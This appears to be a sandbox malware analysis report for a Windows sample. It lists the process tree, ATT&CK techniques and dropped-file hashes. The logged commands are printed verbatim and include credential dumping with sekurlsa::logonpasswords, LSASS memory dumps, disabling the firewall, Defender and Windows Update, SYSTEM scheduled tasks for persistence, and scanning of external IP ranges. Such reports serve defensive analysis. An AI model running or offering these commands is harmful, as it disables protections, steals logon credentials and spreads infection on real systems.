- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4380
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1284
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3020
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\itcctjlje\unptrtjvi\wpcap.exe /S
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3548
- - C:\Windows\itcctjlje\unptrtjvi\wpcap.exe
    C:\Windows\itcctjlje\unptrtjvi\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4928
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1168
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1144
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2036
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        
        PID:912
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3660
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4548
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:516
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        
        PID:5016
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5024
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4668
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:892
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3032
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4464
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:3396
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\itcctjlje\unptrtjvi\bzbnzbyct.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\itcctjlje\unptrtjvi\Scant.txt
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2032
- - C:\Windows\itcctjlje\unptrtjvi\bzbnzbyct.exe
    C:\Windows\itcctjlje\unptrtjvi\bzbnzbyct.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\itcctjlje\unptrtjvi\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:3716
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\itcctjlje\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\itcctjlje\Corporate\log.txt
  2⤵
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:1748
- - C:\Windows\itcctjlje\Corporate\vfshost.exe
    C:\Windows\itcctjlje\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4128
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "abdndmbcd" /ru system /tr "cmd /c C:\Windows\ime\tmyfwky.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4764
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3404
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "abdndmbcd" /ru system /tr "cmd /c C:\Windows\ime\tmyfwky.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1728
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "biicucyni" /ru system /tr "cmd /c echo Y|cacls C:\Windows\cbdnbivt\tmyfwky.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3056
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5020
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "biicucyni" /ru system /tr "cmd /c echo Y|cacls C:\Windows\cbdnbivt\tmyfwky.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2312
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "tknlleieq" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\dvfzrticv\lfbpkn.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3440
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3388
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "tknlleieq" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\dvfzrticv\lfbpkn.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4952
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2680
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4900
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3612
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4464
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2808
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2152
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2268
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4436
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4480
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3152
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4508
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3548
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3388
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4540
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2816
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:1232
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1592
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:64
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  PID:3932
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:4324
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  PID:3872
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4604
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:5048
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  PID:3252
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4180
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      PID:3320
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2052
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    PID:3516
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:2312
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3104
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:4132
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4196
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2268
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4600
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:2860
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2832
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:4008
- C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe
  C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe -accepteula -mp 780 C:\Windows\TEMP\itcctjlje\780.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4832
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2152
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:5016
- C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe
  C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe -accepteula -mp 316 C:\Windows\TEMP\itcctjlje\316.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4052
- C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe
  C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe -accepteula -mp 2088 C:\Windows\TEMP\itcctjlje\2088.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3556
- C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe
  C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe -accepteula -mp 2748 C:\Windows\TEMP\itcctjlje\2748.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2056
- C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe
  C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe -accepteula -mp 2996 C:\Windows\TEMP\itcctjlje\2996.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2704
- C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe
  C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe -accepteula -mp 3012 C:\Windows\TEMP\itcctjlje\3012.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4492
- C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe
  C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe -accepteula -mp 740 C:\Windows\TEMP\itcctjlje\740.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3716
- C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe
  C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe -accepteula -mp 3772 C:\Windows\TEMP\itcctjlje\3772.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2108
- C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe
  C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe -accepteula -mp 3860 C:\Windows\TEMP\itcctjlje\3860.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4952
- C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe
  C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe -accepteula -mp 3972 C:\Windows\TEMP\itcctjlje\3972.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4668
- C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe
  C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe -accepteula -mp 4056 C:\Windows\TEMP\itcctjlje\4056.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3316
- C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe
  C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe -accepteula -mp 4212 C:\Windows\TEMP\itcctjlje\4212.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4604
- C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe
  C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe -accepteula -mp 2028 C:\Windows\TEMP\itcctjlje\2028.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4756
- C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe
  C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe -accepteula -mp 3332 C:\Windows\TEMP\itcctjlje\3332.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4792
- C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe
  C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe -accepteula -mp 1764 C:\Windows\TEMP\itcctjlje\1764.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3340
- C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe
  C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe -accepteula -mp 212 C:\Windows\TEMP\itcctjlje\212.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1356
- C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe
  C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe -accepteula -mp 2804 C:\Windows\TEMP\itcctjlje\2804.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3352
- C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe
  C:\Windows\TEMP\itcctjlje\cmzbnyytn.exe -accepteula -mp 3660 C:\Windows\TEMP\itcctjlje\3660.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2476
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\itcctjlje\unptrtjvi\scan.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2712
- - C:\Windows\itcctjlje\unptrtjvi\midctcinn.exe
    midctcinn.exe TCP 138.199.0.1 138.199.255.255 7001 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    PID:3144
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  PID:4372
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:5176
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5352
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5308
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    PID:5328
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5408
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5396

C:\Windows\SysWOW64\qigmew.exe
C:\Windows\SysWOW64\qigmew.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:1728

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\cbdnbivt\tmyfwky.exe /p everyone:F
1⤵
PID:1464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4584
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\cbdnbivt\tmyfwky.exe /p everyone:F
  2⤵
  PID:3952

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\tmyfwky.exe
1⤵
PID:3980
- C:\Windows\ime\tmyfwky.exe
  C:\Windows\ime\tmyfwky.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:888

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\dvfzrticv\lfbpkn.exe /p everyone:F
1⤵
PID:2620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:1976
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\dvfzrticv\lfbpkn.exe /p everyone:F
  2⤵
  PID:5024

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\dvfzrticv\lfbpkn.exe /p everyone:F
1⤵
PID:2616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4640
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\dvfzrticv\lfbpkn.exe /p everyone:F
  2⤵
  PID:4928

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\cbdnbivt\tmyfwky.exe /p everyone:F
1⤵
PID:3900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:5124
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\cbdnbivt\tmyfwky.exe /p everyone:F
  2⤵
  PID:5212

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\tmyfwky.exe
1⤵
PID:1192
- C:\Windows\ime\tmyfwky.exe
  C:\Windows\ime\tmyfwky.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:5976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\dvfzrticv\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\TEMP\itcctjlje\2028.dmp

Filesize
25.9MB

MD5
a602588d3c57901b3c4afda6cdc0285c

SHA1
d2c3cfe5f28d5f44b3c1c17f2b1bfb085bc95558

SHA256
a8910d30f7bf25dee01962bf42e19f583ce22431117a631550fea0d07a4df701

SHA512
9cd02cce1ba49a9d5434bd5fed91250c55fb70ece50378e79cb66be2fab5e1efc7c51957d083553ad0de9d3525ef4db6b863cbd8a49f15f9cf4192b1592b5141

Download Submit
C:\Windows\TEMP\itcctjlje\2088.dmp

Filesize
4.1MB

MD5
612dede03bb7ca49a732868c5e739508

SHA1
8794bf0a56b227a338257bb26287965e0ce3fb69

SHA256
cd6e108ce6dcf8a1757aadd38a4d7b215e16161530c6fee106fd88762b922f92

SHA512
1dba308007e7984e477e40a8ea690265cd389c039776f3098e8f038b4413060db9c1325c64e6b054491daf2cbecd0530057e93e6ebe2c12aa21ef4b02294a786

Download Submit
C:\Windows\TEMP\itcctjlje\2748.dmp

Filesize
7.5MB

MD5
c36f99a01297af95bc23d137c2272702

SHA1
29b83de849405ebcf0d442497c320e216e1294b1

SHA256
82ecd62fbb6c1542a356e8b6ccd85021435f53a19ae0dc3261706974dc023794

SHA512
8b48177ad9c5ad61dced5c977bf77e7b34d693be4ca7ef50bfe8bdf5a8b2dc2df8ecde56c16e2e543d79bd269702f8dfc096cb385fa4de17205010dd3c4d8c6d

Download Submit
C:\Windows\TEMP\itcctjlje\2996.dmp

Filesize
818KB

MD5
b79615927ce5369e9060f341535ed3ee

SHA1
cea0e9fc773709ba524fccac4ff1e86a8921c918

SHA256
4ff8599f5021750ab1b1f3e77aa8e9adfd5a779a3d7a40e5bb7673f10db2a2b0

SHA512
93d2fc92adc1ccffcd3f500f76b3218e3d5d208e0052a9807cc958a9d05710018ae68a62135cbb6465f6e3ae4ee347d1a624a8544424edd3522f7186b8624f9f

Download Submit
C:\Windows\TEMP\itcctjlje\3012.dmp

Filesize
4.1MB

MD5
22e2b297f93d3b1c271188d12f03c44d

SHA1
b6f567e1d5aa4f386a128d0c204955d3d5334ec2

SHA256
4f9a9c33f5424fd0603016e97a8dd0de560860a186456d0663d8323a18865df1

SHA512
926011951a02c84dfdad538bf828f3b5dabe28e4cd0c9f6986a03208b30cb0a02f4249b044d896c6f188451686e7a46c403104f37ec09cc1c9546f0813dfcda9

Download Submit
C:\Windows\TEMP\itcctjlje\316.dmp

Filesize
33.5MB

MD5
b11c50284fc44b3879fc28f7ebc46c10

SHA1
79b272a859c80e9204db526dfd892a59123e4c6c

SHA256
273ca584dadc9f08c428b4322933594c429f273e3fbbe81d7c049483f38dda24

SHA512
fbf12d352b0fe08d5801e5e3d4bb976949259c6d7f767de6b004391bddd27102c74a07cdfdafd7d8f99a41de04c5632ecda440249a24f367af9007a76e1cff49

Download Submit
C:\Windows\TEMP\itcctjlje\3332.dmp

Filesize
8.7MB

MD5
da9959ea9e21654c3cc1ccd14c3504b9

SHA1
179995350a93ca7bd3df995effdb538ff1e2b9cd

SHA256
d91d6d4d37fbc7aa57c4d31699664300bcc8e9fec6146d233979530e8e30846d

SHA512
a389469101323bbc2ae345c078f718b930502d77913bf3d6dfccb99c936c150bdeed353b73336f29975a4e72d2ff22a9cbc1a4722fbc4f1c483531f2e27df6d8

Download Submit
C:\Windows\TEMP\itcctjlje\3772.dmp

Filesize
2.9MB

MD5
52c1f479d151c75ca65975ebcc8b95fa

SHA1
98d529bb046b8e67073d006c9b21991a83b22a3d

SHA256
03aa2a83de636b456df542ae49280a9c6024646960fab546e114c4c233847388

SHA512
9d9a073ccb21b0fbf71a7cb64115ca959937d0dd938bcdc6aed88f08f6f89f3c8e6fa30c5903a646d7ab9eb54023e542c5c9f7ab7ce591f4cd077a432eae8dec

Download Submit
C:\Windows\TEMP\itcctjlje\3860.dmp

Filesize
20.7MB

MD5
9a1eb8221cd2fe4ab67491c93d81e90c

SHA1
dd4d80f6cc67baf826d3056a3f6f83f055245e0e

SHA256
010cf1ed4cd518b18aaaad63895c9031ad04e75eb9416539b243cbdcdbf3b94d

SHA512
